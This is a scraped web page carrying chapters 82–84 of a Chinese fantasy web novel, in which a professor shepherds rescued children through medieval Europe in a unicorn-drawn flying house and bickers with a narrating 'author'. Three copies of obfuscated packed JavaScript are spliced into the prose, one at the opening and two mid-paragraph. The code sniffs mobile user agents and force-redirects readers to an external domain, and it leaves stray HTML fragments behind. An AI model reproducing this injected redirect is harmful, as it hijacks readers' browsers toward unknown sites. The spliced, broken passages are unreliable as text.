;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他们唱得乱七八糟,稚气的声音基本上就是紧跟在夏章雾的身后跑调,但乱糟糟地唱出了另一种非常活泼的感觉: “叮叮当,叮叮当, 铃儿响叮当, 今晚滑雪多快乐, 我们坐在雪橇上!” 夏章雾眨了眨眼睛,忍不住笑了起来,然后带着独角兽们重新绕了一圈,让旋律又重新变得重复起来。 然后他又继续单独领唱了一段: “白雪遍地,趁这年青好时光, 带上亲爱的朋友,把滑雪歌儿唱。 有几匹独角兽,它日行千里长, 我们把它套在雪橇上,就飞奔向前方。 叮——” 这回甚至都不用他唱了。已经逐渐开始熟悉旋律的孩子们主动兴奋地唱了起来,那些有高有低的声音完全盖住了夏章雾自己的,就这样开开心心、乱七八糟地进行了他们的大合唱: “叮叮当,叮叮当, 铃儿响叮当, 今晚滑雪多快乐, 我们坐在雪橇上!哈哈哈哈哈!” 最后的笑声当然不是歌曲里的,是那些唱歌的孩子自己笑成了一团。夏章雾在前面也忍不住地在笑,尤其是他听出来了斯库德也尝试在这群小孩子中滥竽充数。 “没用的,某位吟游诗人先生!” 他大笑着朝后喊道:“你唱歌真的太难听了哈哈哈!” “超级难听的啦!”“让我都有信心跟着大家一起唱了呢!”“斯库德大叔是笨蛋啊笨蛋!”“喂喂喂,有必要这么过分吗!还有凯恩,你不要跟着他们一起笑啊!” 热热闹闹的声音传了回来。 夏章雾再次带着独角兽们转头,熟悉的旋律再次响起,而孩子们也不再讨论,而是再次高高兴兴地唱起了歌谣。 “叮叮当,叮叮当! 铃儿响叮当!” 只有清脆的铃铛声和孩子们的欢笑声被留了下来,惊醒了这个晚上本该入睡的人或者生物,让森林中的鸟雀一丛丛地惊起。 他们或者它们在这个平安夜独特的欢快乐曲声中朝外看去,看到夜空中一群由似马似鹿的生物拉着的巨大房屋从上方飞过,转瞬间就消失得无影无踪。 只有欢快的笑声和铃铛般的声音还在回荡。 “叮叮当,叮叮当, 铃儿响叮当——” 在歌声的背景里,夏章雾笑了又笑,最后从口袋里拿出一沓软绵绵的毛绒布料,给身边的孩子递了过去:“顺便,给你的圣诞礼物哦。” D接过去,很快就发现了礼物的真面貌。 他抬起头:“礼物……这是帽子吗?” 夏章雾懒洋洋地“嗯哼”了一声,然后用力揉了揉面前的这个孩子脑袋:“毕竟耳朵都快被冻红了,最好还是戴着能遮住耳朵的帽子吧?” 其实这礼物他早就想送了。这还是他想到费那个谁整天总是戴着的那个俄式方绒帽时想起来的,确实很适合小孩子戴。 要说唯一的缺点…… 哈哈,大概是他们俩都是两个黑发红眼睛,戴相同款式的帽子时既视感稍微有点强吧。 82.猜猜我是谁~ 这趟快乐的旅途有着自己的方向。 就在这座房子真正意义上地变成一辆会飞的房车前,大人们就在一张简陋的欧洲地图上勾勒出了前进的大致路线。 根据那些孩子们自己的想法,他们需要先跨越北欧的国家,跨越大海来到英格兰岛,再重新返程抵达弗兰德,然后把剩下的孩子挨个送到自己的目的地。 有的孩子想要留在北方生活,有的孩子打算和朋友们一起去南方的大城市谋生,有的孩子希望自己可以回到故乡和家人团聚,有的孩子想要寻找新的家人。 但不管他们提出了什么样不切实际的要求,夏章雾都把他们预想中的目标记录在了地图上。他很少劝说某个孩子改变自己的想法,只是尽可能地尝试实现他们全部的目标。 而他们的第一站,就是挪威的首都。 卑尔根。 如今的这座城市正在修建一座国王礼堂。在并不遥远的未来,挪威的国王马格努斯将和丹麦的公主在这里结婚。在更遥远的未来,这里变成了音乐会的演出场所。 夏章雾驾着独角兽,平稳地将房子停在了城市郊外的草地上。这些拖着房子飞翔的独角兽们累得气喘吁吁,用头顶的角发出低沉的声音,表达着自己被压榨的糟糕心情。 但孩子们完全不累。 他们“咯咯咯”地笑着,然后从房子里一下钻了出来,在草地上跑来跑去,用地面上的积雪打雪仗,一个个精力旺盛的就像是北方的雪橇犬。 骑着冰鸟的拉普兰女士比他们到得更早,并看到夏章雾后微笑着点了点头。 “明天就带着想要留在这里的孩子进城吧。” 她的声音听起来相当轻快:“我刚刚去城市里看了一眼,这里的济贫院条件还算不错。而且这里有不少工坊和商队,也许他们会愿意收几个学徒。” 斯库德也从孩子堆当中挤了过来,在听到这句话后有点惊讶又遗憾地叹了口气。 “结果这么快就要有人分别了吗。”他说。 “所以才有必要在旅行开始前举办一次盛大的宴会。”拉普兰女士这样回答,“最后能相聚的日子,必须要好好地珍惜才对。” 这也是她为什么不管夏章雾说什么辩解,也一定要把他拖到宴会上:因为这是他们所有人最后相聚在一起的机会了。 过了这个平安夜后,就要有人离开,并且未来大概永远都不会再次重逢。 她眺望着远方,微微叹了口气。 冰凉的微雪落在她的鼻尖上。 正在玩耍的孩子们察觉到了天上正在缓缓飘下的雪花,于是纷纷好奇地伸出手掌接着,抬头看着云朵密布的夜空。 他们在那座冰霜的高塔上也曾经见过雪,但那些雪永远冰冷而又狂烈,从来没有以如此温柔和沉默的姿态落下。 夏章雾点亮了提灯,挂在木屋的门口。 “说起来,所有的孩子里,只有D还没有说过自己以后想要去什么样的地方吧?”他说。 那个正在不太适应地摆弄着自己帽子的孩子动作停顿了一下,抬起头看着身边的大人,似乎考虑了几秒。 “还没有想好。”他用认真的语调说,“但我不想继续留在北方。” 嗯…… 夏章雾忍不住看了他一眼。 这是在故意拖延时间吗?因为不想被送走,所以一直都不说自己想要去的地方什么的。 但夏章雾也没有戳穿的意思,只是揉搓了几下对方的帽子,顺带把面前未成年人的头发也给揉得乱糟糟之后才开了口。 “那就等我们离开北地后再说。”他说,“现在就和大家一起去睡觉吧。” 反正他们迟早是会分别的。考虑到这孩子的敏锐和聪慧程度,他总得负点责任,把他交到一个值得托付的人手上。 被揉乱了头发的D默默地抱住了脑袋,同时把帽子拽着往下面压了压,努力地挡住自己翘起来的头发。 他抬起头,试图用紧绷着的嘴角线条无声地表达了对大人这种行为的抗议,结果只是得到了大人越发轻松愉快的笑声。 于是他默默地转过身,没有理会恶劣又可恶的大人,选择直接回到房子里面去睡觉。 作者看了看还在因为欺负小孩子成功而得意地笑的夏章雾,忍了又忍,最后还是没忍住。 “你就笑吧。”它恨铁不成钢地说,“等到你回到二十一世纪就笑不出来了。” 夏章雾收住了笑容,满脸莫名其妙:“?” 现在天色已经很晚了。 斯库德也开始赶那些正在好奇地扑小雪花的孩子们回去,笨拙的动作看上去有点像是在赶一群小鸡回笼子——事实上,这个“笨蛋吟游诗人”还是没怎么学会照顾小孩子的技巧。 但他偏偏能把这些孩子照顾得不错,这实在是个令人费解的问题。 那些并不怎么想睡的小孩在吟游诗人的催促下发出不情不愿的声音,但最后还是追逐打闹着跑进了房子里面,找到了自己的床褥,和白天的伙伴们挤挤挨挨地睡在一起。 在与睡一张被子的朋友间,在与睡在上床或者下床的伙伴间,在与睡一间房子的舍友间,他们显然还有许多聊不完的话。 但好在房间里没有灯,被用羊毛与羽毛填充的被子也相当暖和,房子外面落雪的声音同样令人安心,他们今天又玩得太累了。 所以房间里只是叽叽喳喳了十几分钟,伴随着第一个迷迷糊糊的呼噜声响起,很快所有的孩子都进入了梦乡。 在这个平安夜,没有别的圣诞礼物,没有挂在外面的圣诞帽子,没有不请自来的圣诞老人。 只有被斯库德挂在床边的槲寄生,拉普兰女士烤的热馅饼,夏章雾教的那首有关圣诞的叮叮当当的歌,还有半夜蹑手蹑脚地过来给他们重新盖好被子的大人们。 就这样,在给最后一个孩子整理好床铺后,夏章雾看着从被窝里探出脑袋的D,还有他那对在夜色下仿佛在发光的红眼睛,又把人用被子蒙了回去。 “好好睡觉。”他说,“明天还要早起呢。” 窗外的细雪还在下着。 夏章雾走出去,坐在正在打着哈欠的狮鹫边上,把它的皮毛当枕头靠上去。今晚的夜色并不十分明亮,风在独角兽的角中发出类似于催眠曲的音调。斯库德已经趴在狮鹫身上睡着了。 有点困。 但没有多少的睡意。 他抬头看着中世纪平安夜的天空。 “需要我给你放催眠曲吗?”作者善解人意地说,“或者让我帮忙给你数羊?” “我总觉得我要是真答应了,下一秒你给我放的肯定会是摇滚乐。” 夏章雾换了个躺着的姿势,用略带嫌弃的口吻回答,然后他稍微犹豫了一下,从怀中重新拿出笔记本。 就当是看看睡前故事了。他想。 于是他就看到了大片大片的黑条。 「阴暗社畜A: 新入坑读者报到!主角,你不觉得某个叫 D 的崽████████吗?又或者,你还记得那家伙曾经说过自己是在什么情况下█████吗?你不觉得超级有即视感吗?……」 「浮生无欲: 特修斯之船啊。████的确给我一种自我感稀薄的感觉。(虽然意志异常的恐怖)」 「210抽龙王2+1豚豚鼠的胜利: 告诉你吧,账务█,是████哦。反正你也看不到,嗯哼。」 夏章雾逐渐虚起眼睛。 这么多乱七八糟的黑条,以至于他都开始怀疑给评论打黑条不止是作者,还有很想参与乐子当中的读者本身了。 但他还是勉强从这些黑条所在的位置判断出了大概的信息。这些被挡住的内容肯定是和D有关系,而且读者们还都认识他,也许就连自己都认识。 至于更多的信息? 推断不出来。毕竟这些黑条打的实在是太严实了,他实在是没有办法那些被消除的到底是什么样的内容。 夏章雾郁闷地撇了撇嘴,继续往下看去。 这是上次评论里出现了黑条的liar。 「liar七零八碎: 不小心说漏嘴了唔。对不起教授,我是听作者话的liar。话说,既然塔上的那个孩子是这位作家,那那位作家在哪里呢?他是已经出现,但我们还没有意识到是他,还是说他正在赶来的路上呢?好奇捏……」 哦,现在搞懂了。 D的真实身份是一位三次元的作家,也就是这个次元的异能者。不过其他的方面——等等,这个描述是不是有点耳熟了? 夏章雾的眼神逐渐锐利了起来,为了验证自己的猜想,他继续看了下去。 「暮川夜: 笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15596939|164449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死了,都到这一步了,明明都已经发现两人相似的东西太多了,就算这样还是选择自欺欺人,揣着明白装糊涂,说的就是你吧?账务。」 「阴暗社畜A: 相信我,你会后悔没有先来和你亲爱的读者们聊聊天再去和小朋友说话的……但没有关系,勒托先生的黑历史我们会铭记于心的。」 这种显而易见的乐子态度…… 夏章雾的目光更加锐利了起来。 “我明白了。”他说。 “你明白了什么?”作者警惕地回答。 “D的身份啊。”夏章雾抬起头,用力地戳了戳笔记本,“我已经全明白了!” “虽然不知道你明白了什么。” 作者谨慎地观察了一会儿,觉得如果对方真的搞明白了到底发生了什么事情绝对不会心态这么“平和”,于是干脆顺着对方的思路说道:“但你该不会真猜中了吧?” “那还用说。” 夏章雾哼哼两声,然后沉思了两秒,最后非常肯定地做出了回答:“肯定是布拉姆·斯托克那家伙对吧!” 作者:“咳?” “你看看D平时那副快贫血到死的样子,看看这红眼睛!看看他那副非常厌世又傲气得要死的表情。”然而夏章雾越说越自信,“绝对就是那只活了老久的吸血鬼嘛!” 作者:“呃?” “所以你别告诉我那家伙未来也会闲着没事跑过来找我。现在吸血鬼就和狂犬病病毒一样在欧洲人人喊打……等等,那倒霉孩子好像前几年就被人打死了。那没事了。” 夏章雾突然陷入了沉思。 “这么一想他还挺惨的。”他说。 作者沉默了半晌,最后才艰难地挤出了这么一句话:“嗯……这个,你说的也没错。” 确实很惨。 某位不愿透露姓名的俄罗斯人大概这辈子都没有想到,都到这个份上了,某人竟然还能够把他的身份认成某只吸血鬼。总感觉他以后追杀吸血鬼都有了额外的理由。 “不过你是怎么确定的?我是说虽然都是红眼睛,但发色明显不一样吧。” 想到这里,作者都看不下去了,忍不住额外提醒了一句:“布拉姆他是白色的头发啊!” “年纪大了肯定会白头发吧。反正这种事情其实也不怎么重要啦。”夏章雾若有所思地摸了摸下巴,“反正不是布拉姆还能是谁,难道是费奥利奥吗?” 作者没说话,只是默默地看着他。 “哈哈,那个就更不可能。虽然总是很有既视感,但那家伙绝对不会这么乖巧可爱啦。那种混蛋肯定从小时候起就格外混蛋,更不会莫名其妙地粘着别的大人跑。” 思考了两秒,夏章雾发出了愉快的笑声,坚定地否定了自己脑海里面出现的猜测:“他小时候要是那么好拐,我就把整本笔记本吃下去!” 作者:“……” 算了,它已经尽力了。 这榆木脑袋是真的救不了。 “不过,突然知道那孩子会有这样的结局,还是稍微有点让人感慨呢。”笑完后,夏章雾和收起了脸上的表情,抬头看着天空。 伴随着时间的流逝,这间小房子里的人也会越来越少。直到最后一个孩子也离开这里,重新寻找到在这个世界上的住处。 到那时,失去了相聚理由的人们大概也会各自分别,回到自己应该回去的地方。所有曾经发生在这里的故事都只能停留在过去。 然后这些离开的孩子身上会发生什么? 这个时代紧接着而来的便是各国之间纷乱的战争与尚未完结的十字军东征。夺取了无数人性命的黑死病也会在接下来的日子接踵而至。 这些现在还在活生生欢笑的孩子,有多少能够获得一个不错的结局呢? 就算是他们能够安详地度过自己的一生,等到他回到二十一世纪后,这些人中的绝绝绝大多数也只会成为连历史都懒于记载的一串数字。 没有人在那个时代还会记得他们,也没有人会记得今天发生的故事。非要说的话,能记住这段历史的也只有他和读者们了。 ——但这种事情,就算是他,也会稍微感到寂寞的啊。 夏章雾轻轻地叹息一声。 他抬起头看着夜空,把书盖到头上。 “算了,别想这么多了。”他说,“晚安。” 83.屑人者人恒屑之 今天的太阳光很强烈。 在仲春温暖的气流里,夏章雾驾着前面的独角兽在一片空旷的荒野上停下。 这些已经习惯了拉车生涯的动物们在完成今天的工作后显得十分兴奋,用角互相“叮叮当当”地碰撞着,同时用自己的独角演奏出悠扬美妙的乐曲声。 狮鹫紧跟着落下,有些困惑不解地看着这些格外高兴的独角兽,“嗷嗷呜呜”地喊了几声。其中的一只独角兽则用嘶鸣声做出了回答。 早就停在这里的冰鸟发出接近嘲笑的尖刻鸣叫。它飞起来,以小人得志的姿态盘旋着,又用翅膀向独角兽们重新刮起北方寒冷的风。 独角兽们纷纷发出不满的声音,看上去很想要冲上去教训教训天上的鸟。但奈何它们已经被拴上了绳子,所以根本没法攻击到它。 D抬头看着这些生物。 他突然有点好奇,所以向似乎能够理解这些生物行为逻辑的夏章雾询问道:“所以它们是在说些什么?” 夏章雾看了眼独角兽,然后又把沉重的目光放到了冰鸟和狮鹫的身上。 最后,他用深沉的语调这样回答: “春天到了,又到了万物复苏的季节……” D有些迷惑地看过去,显然没有明白这句话的意思。但夏章雾明显也没有什么给未成年孩子解释的意图。 他只是笑眯眯地揉搓了两下对方的脸颊,把对方有些苍白的面色重新折腾得红扑扑的,然后把对方头顶上戴着的白色方绒帽直接拽了下来。 “现在都已经三月份了。” 他提着帽子,笑盈盈地说:“天气早就开始暖和了,还戴这种厚厚的东西真的不热吗?衣服什么的也要符合季节哦?” D那对宝石红的眼睛一下子睁大了。 他下意识地想要把帽子抓回来,但恶趣味的大人故意把手臂抬高了,让他就算是努力地踮起脚尖也没有办法够到。 失败了几次后,D也意识到了面前的大人就是不想要把帽子还给自己,于是便也放弃了这种徒劳的尝试,只是用眼睛严肃地瞪着夏章雾。 “帽子。”他说。 “话说回来,我们竟然已经在这片土地上走两个月了啊。不过真正离开的孩子比预想中还要少一些。这个时代愿意接受失踪了数年孩子的家庭比想象中还要少很多。” 夏章雾摸了摸下巴,回头看着那些已经从房子里面钻出来的孩子们。 现在留下来的孩子还有一小半。如果更精确一点的话,是四十三个。 本来在他们的预计情况下,旅程进行到这一步时,顶多也只会有二十来个孩子还留在这里,比现状几乎少了一半。 其中相当大的一部分原因是很多孩子最初的想法是回到自己的家里。但等到他们带着这些孩子回家时,有很多家庭已经生下了新的孩子取代了他们的存在。也有很多本身就并不宽裕的家庭没有办法负担起养活另一个孩子的费用。 还有的人不愿意相信这些外貌一如失踪时的孩子会是自己消失了多年的孩子与弟妹。他们更愿意相信这是精灵或者恶魔的诡计,拼命地把他们给赶出了家门。 虽然后续还有解释清楚的机会,但绝大多数的孩子经过这场闹剧后,对回到原来的家中也没有什么精神和兴趣了。 这些还算是比较幸运的——至少他们从希望到失望经历的时间不算特别长。 “帽子。”D坚持着说。 夏章雾用一只手压住了对方抬起来的脑袋,然后继续思考有关于这些孩子的事情。最近他总是在思考这些被留下的孩子到底该怎么办。 一部分孩子虽然最初确实回到了家中,但他们后续实在无法忍受家里那种宛若自己是陌生人的尴尬气氛与弟弟妹妹们陌生又怀疑的眼神。 他们往往忍耐的时间不超过两天,就会放弃和家人一起生活,重新又跑回独角兽拉的小房子所在的位置,希望能够重新回到这里。 夏章雾还记得自己第一次遇到这种事情时到底发生了什么糟糕的事情。 当时他们是在弗兰德。 当时已经是他们停留在那个城市的最后一天了。就在几分钟前,夏章雾还在指挥着狮鹫把从城里买的大袋面包搬到仓库。结果一转头,他就发现那个前两天被自己送走的孩子又眼圈红红地重新出现在了营地里。 对方的样子看上去可怜兮兮的,冲上来就抱住他,并呜呜咽咽地哭了十几分钟,让可怜的夏教授差点心跳骤停。 可惜这位未成年人明显没有意识到自己的行为到底给成年人造成了多大的心理创伤,她呜呜咽咽地发泄了一会儿情绪,最后才终于勉强止住哭泣的声音,说出一句成型的话。 “勒托先生,我不想继续待在这里了!” 她说。 夏章雾当时只觉得自己快死了。 “你想怎么样都好……”他虚弱地回答,“只要别继续哭就行。” 那就是在他们旅途上第一个主动选择回来的孩子,后面还有更多。 到最后,那些选择离开的反而都是十几岁的孩子。他们在这个时代的观念里已经算是成年,可以去承担一份职务自力更生。 “帽子。” 被按住脑袋的D伸出手,继续坚持要把自己帽子重新拿回来的观点。 夏章雾不得不中断了思路。 他有些无奈地低下头,看着这个此时显得格外固执的未成年人,用空闲的另一只手揪了揪对方的脸颊:“所以你为什么一定要把帽子现在要回来,就这么喜欢戴吗?” D不说话了。 他只是继续固执地用红眼睛盯着夏章雾,完全就是一副不管大人说什么,反正今天不把帽子还给他就誓不罢休的架势。 他摆出这样坚决的态度实在是很难得,夏章雾都忍不住眨了眨眼睛,感觉有点稀奇。 这位毫无道德底线的成年人看了看手里拿着的白帽子,突然觉得自己要是不继续拿它逗一逗小孩会很可惜。 毕竟下一次遇到这孩子这么感兴趣的东西,也不知道是什么时候了。 此念一起,夏章雾的眼睛瞬间就亮了起来,用不怀好意的目光打量了一番面前的人类幼崽,然后突然捏住对方的脸。 “嘿嘿,乖乖地喊哥哥——” 他笑眯眯地说:“这样我就把帽子还你。” D被迫仰着脸,沉默地看着他。 “呃,等一下?”良久没有说话的画外音突然开口,语气里多少带着几分微妙的味道,“你真的打算用自己送给他的礼物来逗他?你确定?” “为什么不行?” 夏章雾挑了下眉,理直气壮地回答:“根据我是常期观察,这孩子绝对是属于特别要面子还很早熟的类型。从理论上来讲,只要不往他的眼睛上喷辣椒水,不管怎么逗都绝对不会哭。这不就特别适合逗一逗吗?” 回答非常有理有据,就连画外音都忍不住可疑地沉默了片刻。 “也行,你要这么想也挺好的。”它十分真诚地鼓了两下掌,语气就像是在为勇士送行,“勇敢去做!” “?”夏章雾为画外音的态度短暂地疑惑了片刻,不知道对方为什么突然摆出了这种同情的态度。不过很快,他也意识到事情不妙了。 朦朦胧胧的雾气在小孩子红宝石色的眼睛里快速成型,并且很快就变成了晶莹的液体。 D咬着嘴唇,就这么眼眶红红、眼睛湿漉漉地看着他,泪水直在眼眶里面打转,感觉下一秒就能直接“哇”地一下哭出来。 夏章雾低头看着他,大脑宕机了几秒。 “啊?”他说。 ——等等,原来你也是会哭的吗?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15603012|164449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 正好在这时,斯库德也走了过来,迎面看到的就是手中拿着帽子的大人和失去了帽子、并看上去泫然欲泣的未成年人大眼瞪小眼的场景。 吟游诗人瞬间倒吸了一口凉气。 他用了三秒钟不到的时间就判断出了这件事的罪魁祸首,然后用五秒钟左右的时间艰难地决定了自己在这次事件当中的立场。 “勒托先生!” 他赶紧跑了过来:“不要欺负小孩子啊!” 没错,最后他还是没法偏袒某位天使欺负未成年人的行为。在做出决定的这一刻,他感觉自己的人格仿佛都得到了升华—— 尤其是看到小孩子泪眼汪汪地往自己身旁一钻后,他就更觉得如此了。 夏章雾看了看手里的帽子,又看了看泪眼汪汪的D和大义凛然的吟游诗人。 他陷入了沉默,并发自内心地感觉这个世界肯定有什么不太对劲的地方:“……” “看吧。”画外音摇了摇头,用啧啧的惋惜声音说道,“我就知道你这么干会倒霉的。” 夏章雾艰难地扯了扯嘴角。 谁能想得到D也能说哭就哭啊!这不就完全和太宰治是一回事嘛!虽然平时乖巧了很多,但这家伙果然就是那只栗子河豚的欧洲亚种吧! 可恶,亏他之前还以为对方是那种死都不会哭的性格……真是被骗了啊。 “勒托先生,拜托把帽子还给这孩子。” 斯库德虽然有些心虚,但还是以母鸡保护小鸡仔的架势把D护在身后:“这帽子是你送给他的礼物,无缘无故就拿走也太糟糕了。” 夏章雾:“……” 他深吸一口气,默默选择上交帽子,满脸郁闷地看着D探出半个脑袋,把那顶帽子小心翼翼地重新戴在头顶上。 重新得到帽子后,小孩子的心情指数明显上涨了很多,看了眼夏章雾后就哒哒哒地跑走了,只留下两个大人还在面面相觑。 考虑到某位先知已经足够没脸没皮,最后先感到尴尬的反而是吟游诗人。他咳嗽了两声,然后才突然想起来自己跑过来的目的。 “对了,勒托先生。” 他小声说:“之前拉普兰女士过来和我说了一些关于这里孩子的事情。您之前不是也和我们讨论过这些年纪太小的孩子可能没有人愿意收养的问题吗?我们想要您也去讨论一下。” 哦,有正事。 夏章雾收回了自己充满怨念的目光,暂时不去管那个喜欢装哭的小家伙的事情,转而认真地询问道:“你们有想法了吗?” 斯库德有些紧张地“唔”了一声。 他看上去像是在课堂上被点名的学生,说话的语气突然变得支支吾吾起来。 “有倒是有了,就是具体落实比较麻烦。” 他小声地说:“不管怎么说,您还是先去房间里面商量一下吧。当然,也可以拒绝……” 夏章雾狐疑地看着他。 对方这种说话犹犹豫豫的样子过于可疑,让他感觉那两个人肯定在背后做了什么对不起自己的事情,或者即将做什么对不起自己的事情。 ——该不会是打算把他拉出去卖了吧? “好精准的直觉。” 画外音在一旁咂吧了两下嘴,吐槽道:“你这家伙,看来只是完全不明白小孩的心思啊。” 夏章雾撇了撇嘴。 “否则呢?”他有些别扭地咕哝了一声,“你以为我为什么特别讨厌人类幼崽?对我而言,他们就是一群莫名其妙的生物。” 所谓的小孩子…… 真是奇怪啊。 ——为什么会生气,为什么会哭泣,为什么会高兴,为什么会喜欢他,简直全部都是完全无法理解的谜。交流起来比和动物都要麻烦。 唉,不就是拿个帽子,至于装哭吗? 84.我演天使……真的假的 事实证明,某位先知的确是被他那两个在房间里讨论计划的同伴给卖了。 ——而且还卖得很惨。 等到三个人都坐在桌子上后,某位过于心虚的吟游诗人立刻就用讪讪的语气说出了他们两个私下里商量了两周左右的计划。 “那个,事情其实是这样的……我们其实是打算在这里建一个孤儿院。” 说话的时候,吟游诗人的几根手指都纠结地缠在了一起,目光飞快地四处游移,就是不太敢直视夏章雾的眼睛。 “您应该也是知道的吧?现在剩下来的这些孩子都太小了,还没有到达能独立生活的年龄,原来的家庭也不愿意重新收留他们。其他愿意进行收养的家庭也不多,比起收养这些来路不明的孩子,他们宁愿从亲戚家中过继。” 这也是他们近期以来一直面临的困境。 在最近这几个城市,他们能送走的孩子已经寥寥无几。很多本来想回去找爸爸妈妈的孩子在看到伙伴们在原来家庭中遭到的遭遇,也都不太敢回家了。 而且伴随着旅行时间越来越久,这些孩子彼此之间的感情越来越深厚。他们也变得非常不想分别,或者离开这里。 前几天还有一个小女孩泪汪汪地跑过来问夏章雾这种事。 “难道我们真的都必须要走吗?勒托叔叔,我真的好想好想留在这里。” 她抽抽噎噎地说:“我舍不得大家,而且我在家里从来没有这么开心过。拉普兰姐姐对我比妈妈还要好,斯库德哥哥也像爸爸一样对待我。我在家里总是被打,我不想回去……” 当时的夏章雾疑心对方话里的辈分存在着相当大的问题,而且他思前想后都没找出来对方跑过来找自己,而不是去找拉普兰女士与斯库德这两个“爸爸妈妈”的理由。 不过因为小姑娘眼看着就要越哭越伤心,他也没有时间继续想下去,赶紧把当时正在自己旁边看书的D给拽了过去,这勉勉强强地逃脱了这种呜呜咽咽的氛围。 “这种背景我基本都知道。” 夏章雾根本不想回忆起那些惨淡的过去,直截了当地询问道:“所以你们想出了什么解决的方法吗?” 吟游诗人再次咳嗽了一声。 他用求助的目光看向拉普兰女士,然而对方也只是摆着一副眼观鼻鼻观心的架势,完全指望不上。于是他只好顶着夏章雾越发怀疑的眼神,磕磕绊绊地继续解释。 “总之……因为那些孩子基本上都没有能找到的去处,也不愿意离开。所以我们打算在这里建立一个收留这些孩子的地方。” 他的声音越来越小:“以后我们就打算停留在这里,不走了。” 夏章雾挑了下眉,不解地看过去。 “就这样?” 他只感觉有些莫名其妙:“办个孤儿院又没什么大不了的,只要当事人愿意就行。你们两个怎么表现得那么心虚,好像对不起谁似的。话说回来,你们都打算留在这座城市了?” 斯库德闷闷地点头。 “是的。”他说,“其实只要能够凯恩在一块生活,我就很满足了。不管是在哪座城市我都无所谓,照顾一下这些孩子也没什么。” “我要是真在意自己的居住环境,我也不会在那个只有黑夜的地方活几十年。” 拉普兰女士用手指绕了绕自己的头发,用努力满不在乎的语气说道:“更何况,要是离开这群吵吵闹闹的孩子后,再回到北方,我说不定也会感到寂寞的。” 这倒很有可能是真的,不过…… 夏章雾满是怀疑的目光在两个人的身上停留了片刻。 “真的不是因为你们谈恋爱了吗?” 他皱起眉,发出直言不讳的声音:“恕我直言,好像这里七八岁大的孩子都能判断出来你们两个相处得像是一对——” “咳咳咳!” 斯库德直接被呛得咳嗽起来,满脸惊慌失措开始大声为自己的清白辩解:“不不不,这肯定不可能吧!那群孩子绝对是在瞎想,这种事情绝对是没有的!” 拉普兰女士也睁大了眼睛。 她的脸颊噌地一下就红了,惊讶和错愕轮流在她的脸上走了一遍后,最终定格成了相当生气的表情。 “这种事情怎么可能!”她的声音都变得断断续续了起来,“这种谣言到底是谁传出来的,我怎么会……我怎么会喜欢那种傻兮兮的家伙!” 她旁边的吟游诗人捂着自己的脑袋,抬头茫然地看着拉普兰女士,发出相当可怜的声音。 “傻、傻兮兮?”他大受打击地说。 这倒霉孩子。他还没有来得及从夏章雾那句充满冲击力的话中回过神来呢,结果又受到了来自自己同伴的新一轮重创。 女巫小姐的脸完全红了,就是不知道到底是因为红温还是因为害羞。她恶狠狠地瞪了谣言的另外一个主人公,深吸一口气。 “总总之全都是谣言!” 她大声地说:“勒托你绝对绝对别信那群小孩子口中冒出来的话!” 可是我感觉就算没有这些谣言,你们未来也真的很有可能在一起啊。 夏章雾虚着眼睛,有些无语地看着面前紧张又窘迫的两个人。 毕竟这么一大群孩子把这两人分别当爸爸和妈妈来看,他们未来还要长时间地为这群孩子生活在一起。再加上拉普兰女士还是某位倒霉吟游诗人的救命恩人,甚至隔了好几年后再见到他还是能第一眼就认出来…… 考虑到这个世界的本质是一本小说,在这种情况下,这两位故事主角之间不发生一点故事反而显得不太合理了。 “而且最重要的是,现在他们看上去就对彼此有意思啊。” 夏章雾对作者用中文吐槽道:“我总感觉要是我现在去跟拉普兰女士表白,斯库德肯定会用那种震惊又可怜的眼神看着我。就像那群蠢学生在我的课上拿到了五十九分的期末成绩,明年不得不补考时的那种眼神。” 作者“嗯哼”了一声。 “只能说他们在这种情况下有可能走到一起也很正常吧。”它说,“不过你竟然会给自己的学生打五十九的期末分?真该死啊。” 夏章雾不以为意地耸了耸肩。 “我的原则是能给到不及格绝对不给更高的分数。毕竟重学一遍课程总比一知半解地去参加进阶内容要好。” 他说:“本来我们学校的死亡人数就有四分之一是我们专业的傻子学生贡献的。要是我不通过这种方式压着那群小兔崽子,校长就要跑过来找我谈话了。” 如果可以的话,夏教授也很希望自己的那些蠢学生可以在他的手底下早点结课早点毕业早点滚蛋,以此来眼不见心不烦。但校长明显没有扩建学校内部墓地的想法,所以也只能这样了。 不过目前的关键倒不在那些目前连受精卵都不知道在哪里的蠢蛋学生们身上。夏章雾看着面前那两个脸红得要命的家伙,扬了扬眉毛。 “对了。如果你们两个真的打算在这里建立济贫院的话,我这里还有一些说不定能卖出好价钱的东西可以给你们。” 他认真地说:“反正那些东西对我来说也没有什么大用途,等到这些孩子全部都安置好,我也能安心地回到自己应该待的地方。” 等到剩下的四十来个孩子定居下来,他最后牵挂的事情也结束了,就算直接回到现代也没有什么留念。 “不不不,我们不是这个意思!” 本来还对于谣言相当窘迫不安的斯库德听到这话,反而突然手忙脚乱了起来:“我们其实并不怎么需要金钱资助……我的意思是,您……我们其实需要您在别的方面……呃。” 拉普兰女士发出一声叹息。 她现在又没那么生气了,对于某位吟游诗人半天也甭不出什么说辞的样子也没说什么,只是主动接过了话题。 